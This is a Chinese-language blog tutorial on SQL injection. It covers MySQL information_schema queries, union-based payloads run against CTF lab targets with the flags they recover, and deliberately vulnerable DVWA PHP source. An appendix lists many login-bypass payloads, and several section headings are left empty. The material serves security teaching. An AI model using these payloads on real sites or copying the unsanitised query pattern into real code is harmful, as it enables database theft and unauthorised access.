SQL_Injection


SQL_Injection

一、SQL_Injection简介

1、SQL注入简介

SQL注入 即是指 Web应用程序 对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的 SQL语句 ,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

[https://baike.baidu.com/item/sql%E6%B3%A8%E5%85%A5/150289?fr=aladdin]:

2、SQL定义

SQL 是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将 Web 页面的原 URL表单域数据包 输入的参数,修改拼接成 SQL 语句,传递给 Web服务器 ,进而传给数据库服务器以执行数据库命令。如 Web应用程序 的开发人员对用户所输入的 数据cookie 等内容不进行 过滤验证 (即存在注入点)就直接传输给数据库,就可能导致拼接的 SQL 被执行,获取对数据库的信息以及提权,发生 SQL注入 攻击。

3、原理

SQL注入 攻击是通过操作输入来修改 SQL语句 ,用以达到执行代码对 WEB服务器 进行攻击的方法。简单的说就是在 post/get web表单 、输入域名或页面请求的查询字符串中插入 SQL命令 ,最终使Web服务器 执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为 http://www.example.com?test=123 ,此时URL实际向服务器传递了值为 123 的变量 test ,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的 SQL语句 并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造 SQL语句 ,用来创建所需的应用,这种情况下 SQL语句 在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的 SQL语句 ,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。

二、MySQL储备知识

1、information_schema

首先需要知道在 MySQL 5.0 版本之后, MySQL 默认在数据库中存放了一个名为:information_schema 的数据库,在这个数据库中有大概 60 个表,其中我们需要记住的分别是 SCHEMATATABLESCOLUMNS ,这三者的名称、具体作用和需要记录的名称如下:

名称 作用 记录名称
SCHEMETA 存储当前用户创建的所有数据库的库名 SCHEMA_NAME
TABLES 存储当前用户创建的所有数据库的库名和表名 TABLE_SCHEMA
TABLE_NAME
COLUMNS 存储当前用户创建的所有数据库的库名、表名、字段名 TABLE_SCHEMA
TABLE_NAME
COLUMN_NAME

这里举几个简单的例子:

1.1、查看当前 MySQL 中存在的数据库名

这里 schema_name 表示数据库名,information_schema.SCHEMATA 表示数据库中的 SCHEMATA 这个表

mysql> select schema_name from information_schema.SCHEMATA;
+--------------------+
| schema_name        |
+--------------------+
| information_schema |
| free_proxy         |
| mysql              |
| performance_schema |
| proxies            |
| python3            |
| shop               |
| sys                |
| valecalida         |
| vulnhub            |
+--------------------+
10 rows in set (0.00 sec)

1.2、查看某个数据库中的所有表信息

table_name 表示表名,table_schema 表示数据库名

mysql> select table_name from information_schema.TABLES where table_schema='python3';
+------------+
| table_name |
+------------+
| courses    |
| userinfo   |
+------------+
2 rows in set (0.00 sec)

1.3、查看指定数据库和表中的字段信息

column_name 表示字段名,table_schema 依旧表示表名,可以看到,下面的内容是把数据库中所有表的字段全部打印出来了

mysql> select column_name from information_schema.columns where table_schema='python3';
+-------------+
| column_name |
+-------------+
| id          |
| student     |
| class       |
| score       |
| id          |
| name        |
| pass        |
| address     |
| sex         |
| age         |
+-------------+
10 rows in set (0.00 sec)

分别查看,发现可以对应上

mysql> desc courses;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(11) unsigned | NO   | PRI | NULL    | auto_increment |
| student | varchar(255)     | YES  | MUL | NULL    |                |
| class   | varchar(255)     | YES  |     | NULL    |                |
| score   | int(255)         | YES  |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
4 rows in set (0.00 sec)

mysql> desc userinfo;
+---------+-------------+------+-----+---------+----------------+
| Field   | Type        | Null | Key | Default | Extra          |
+---------+-------------+------+-----+---------+----------------+
| id      | int(11)     | NO   | PRI | NULL    | auto_increment |
| name    | varchar(30) | YES  |     | NULL    |                |
| pass    | varchar(32) | YES  |     | NULL    |                |
| address | varchar(50) | YES  |     | NULL    |                |
| sex     | tinyint(2)  | YES  |     | NULL    |                |
| age     | tinyint(3)  | YES  |     | NULL    |                |
+---------+-------------+------+-----+---------+----------------+
6 rows in set (0.00 sec)

如果只需要查询一个表的话,只需将 table_schema 修改为 table_name 即可

2、常用的函数及运算符

2.1、函数部分

函数名称 函数功能
system_user() 查看系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接到数据库的用户名
database() 当前数据库名
version() 数据库版本
@@datadir 数据路径
@@basedir 数据库安装路径
@@version_compile_os 操作系统类型
count(*) 计算数量
concat() 指定分隔符连接两列名
concat_ws() 指定分隔符连接两列名
group_concat() 默认以逗号连接某列中所有数据
into outfile 往外写文件
load_file 读取文件
ascii() 获取字符的ASCII码值
ord() 获取字符串中第一个字符的ASCII码值
mid() 获取字符串中的一部分,共三个参数,需指定位置
substr() 获取字符串中的一部分,共三个参数,需指定位置
length() 获取字符串长度
left() 获取字符串最左边的N个字符,N人为指定
floor() 返回小于等于N的最大整数
rand() 返回0到1之间的一个随机数
sleep() 让此语句运行N秒
if() if(1>2,2,3)”1>2”为表达式,如果表达式为真,输出第二个参数,否则输出第三个
char() 将数值返回为ASCII码值
strcmp() strcmp(‘a’,’b)如果a>b为真则返回1,相同返回0,为假返回-1
ifnull() 如果第一个值为null,返回第二个值,否则返回第一个值
exp() 返回e的N次方

2.2、运算符部分

2.2.1、算数运算符
符号 作用
+ 加法运算
- 减法运算
* 乘法运算
/、DIV 除法运算
%、MOD 求余运算
2.2.2、比较运算符
符号 作用
> 大于
< 小于
= 等于
>= 大于等于
\<= 小于等于
!=或<> 不等于
IS NULL 为空
IS NOT NULL 不为空
BETWEEN AND 在…之间
IN 包含
NOT IN 不包含
LIKE 模式匹配
NOT LIKE 模式匹配
REGEXP 正则表达式
2.2.3、逻辑运算符
符号 作用
&&或AND
!或NOT 非1
||或OR
XOR 异或

3、从MySQL语句看SQL注入语句

3.1、常见语句逻辑分析

3.1.1、逻辑运算符语句
mysql> select id,name from userinfo where id=1;
+----+--------+
| id | name   |
+----+--------+
|  1 | valeca |
+----+--------+
1 row in set (0.00 sec)
mysql> select id,name from userinfo where id=1 and 1=1;
+----+--------+
| id | name   |
+----+--------+
|  1 | valeca |
+----+--------+
1 row in set (0.00 sec)

mysql> select id,name from userinfo where id=1 and 1=2;
Empty set (0.00 sec)

当使用语句 select id,name from userinfo where id=1; 时可以清楚的看到该语句执行成功了,当后面追加了 and 1=1 时,本身 1=1 就是真的,所以真与真得真,该语句可以执行成功且有结果;而当追加 and 1=2 时,本身 1=2 就是假的,那么真与假必定为假,所以没有得到输出结果。这里用一个图做直观的认知。

逻辑运算图——真
逻辑运算图——假
3.1.2、万能密码

这里只分析一个 'or '1'='1 ,下面是自己画的一个理解图

详细讲解图

其它还有很多万能密码在附录一中,就不一一解释了,只要能明白逻辑结构就行

3.2、UNION操作符

3.2.1、UNION操作符简介

UNION操作符用于合并两个或多个SELECT语句的结果集。UNION内部的SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时,每条SELECT语句中的列的顺序必须相同。,默认情况下,UNION操作符选取不同的值,如果允许重复的值,可以使用UNION ALL

mysql> select username from users union select password from users;
+------------+
| username   |
+------------+
| Dumb       |
| Angelina   |
| Dummy      |
| secure     |
| stupid     |
| superman   |
| batman     |
| admin      |
| admin1     |
| admin2     |
| admin3     |
| dhakkan    |
| admin4     |
| I-kill-you |
| p@ssword   |
| crappy     |
| stupidity  |
| genious    |
| mob!le     |
| dumbo      |
+------------+
20 rows in set (0.00 sec)

这里也尝试查询一下第一列

mysql> select username from users union select username from users;
+----------+
| username |
+----------+
| Dumb     |
| Angelina |
| Dummy    |
| secure   |
| stupid   |
| superman |
| batman   |
| admin    |
| admin1   |
| admin2   |
| admin3   |
| dhakkan  |
| admin4   |
+----------+
13 rows in set (0.00 sec)

发现后面的语句相当于没有执行,尝试加上 ALL 关键字


mysql>  select username from users union all select username from users;
+----------+
| username |
+----------+
| Dumb     |
| Angelina |
| Dummy    |
| secure   |
| stupid   |
| superman |
| batman   |
| admin    |
| admin1   |
| admin2   |
| admin3   |
| dhakkan  |
| admin4   |
| Dumb     |
| Angelina |
| Dummy    |
| secure   |
| stupid   |
| superman |
| batman   |
| admin    |
| admin1   |
| admin2   |
| admin3   |
| dhakkan  |
| admin4   |
+----------+
26 rows in set (0.00 sec)

这时发现 UNION ALL 查询生效了

3.2.1、UNION操作符应用场景
  1. 只有最后一个SELECT子句允许有ORDER BY
  2. 只有最后一个SELECT子句允许有LIMIT
  3. 只要UNION连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
  4. 注入点页面有回显

3.3、UNION注入方法

三、SQL注入基本流程

1、寻找注入点

四、常见的SQL注入类型浅析

1、整数型注入

2 and 1=2 union select 1,version() --> 10.3.22-MariaDB-0+deb10u1

2 and 1=2 union select 1,database() --> sqli

2 and 1=2 union select 1,user() --> root@localhost

2 and 1=2 union select 1,table_name from information_schema.TABLES where table_schema='sqli' limit 0,1 --> news
2 and 1=2 union select 1,table_name from information_schema.TABLES where table_schema='sqli' limit 1,2 --> flag
2 and 1=2 union select 1,group_concat(table_name) from information_schema.TABLES where table_schema='sqli' --> news,flag

2 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' --> id,data,flag

2 and 1=2 union select 1,flag from sqli.flag --> ctfhub{8e3b9da4a0d6295243d5b20cffaf68839b3f3528}

2、字符串注入

3、报错型注入

4、布尔盲注

5、时间盲注

6、MySQL下的其他注入类型

6.1、cookie注入

id=2 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli';
# xeavlaiqoh
2 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli'
#pctvkvzivi

2 and 1=2 union select 1,pctvkvzivi from sqli.xeavlaiqoh;

ctfhub{6de61082991379a8aebb77b64e6b68cf1aeef5d5}

2、UA注入

3、Refer注入

4、二次注入

5、Where后注入

6、AND/OR注入

7、ORDER BY注入

8、UPDATE注入

9、Insert注入

10、过滤空格注入

五、案例详解

1、DVWA

1.1、SQLI

1.1.1、Low
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    $id = $_REQUEST[ 'id' ];
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        $i++;
    }
    mysql_close();
}
?>
1.1.2、Medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        $i++;
    }
}
?>
1.1.3、High
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
    $id = $_SESSION[ 'id' ];
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        $i++;
    }
    mysql_close();
}
?>

附录

附录一、万能密码字典

"or "a"="a
'.).or.('.a.'='.a 
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
admin'or 1=1#
admin'/*
aaaa*/'
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
"or "a"="a
 ')or('a'='a
or 1=1–
'or 1=1–
a'or' 1=1–
"or 1=1–
'or'a'='a
"or"="a'='a
'or"='
'or'='or'
1 or '1'='1'=1
1 or '1'='1′ or 1=1
'OR 1=1%00
"or 1=1%00
'xor
admin' or 'a'='a
'or 1=1/*
something
'OR '1'='1
1'or'1'='
admin' OR 1=1/*
' or 1=1#
'=0#
'>-1#
'<1#
1'<99#
'=0=1#
'<=>0#
'=0=1=1=1=1=1#
'=1<>1#
'<>1#
1'<>99999#
'!=2!=3!=4#
'|0#
'&0#
'^0#
'<<0#
'>>0#
'&''#
'%11&1#
'&1&1#
'|0&1#
'<<0|0#
'<<0>>0#
'*9#
'/9#
'%9#
'+0#
'-0#
'+2+5-7#
'+0+0-0#
'-0-0-0-0-0#
'*9*8*7*6*5#
'/2/3/4#
'%12%34%56%78#
'/**/+/**/0#
'-----0#
'+++0+++++0*0#
'<hex(1)#
'=left(0x30,1)#
'=right(0,1)#
'!=curdate()#
'-reverse(0)#
'=ltrim(0)#
'<abs(1)#
'*round(1,1)#
'&left(0,0)#
'*round(0,1)*round(0,1)#
'=upper     (0)#
' <1 and 1#
'xor 1#
'div 1#
'is not null#
admin' order by'
admin' group by'
'like 0#
'between 1 and 1#
'regexp 1#
'='
'<>'1
'>1='
0'='0
'<1 and 1>'
'<>ifnull(1,2)='1
'=round(0,1)='1
'*0*'
'+'
'-'
'+1-1-'
'+(0-0)#
'=0<>((reverse(1))-(reverse(1)))#
'<(8*7)*(6*5)*(4*3)#
'&(1+1)-2#
'>(0-100)#
' or 1=1#
' or '
' || '

文章作者: valecalida
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 valecalida !
评论
  目录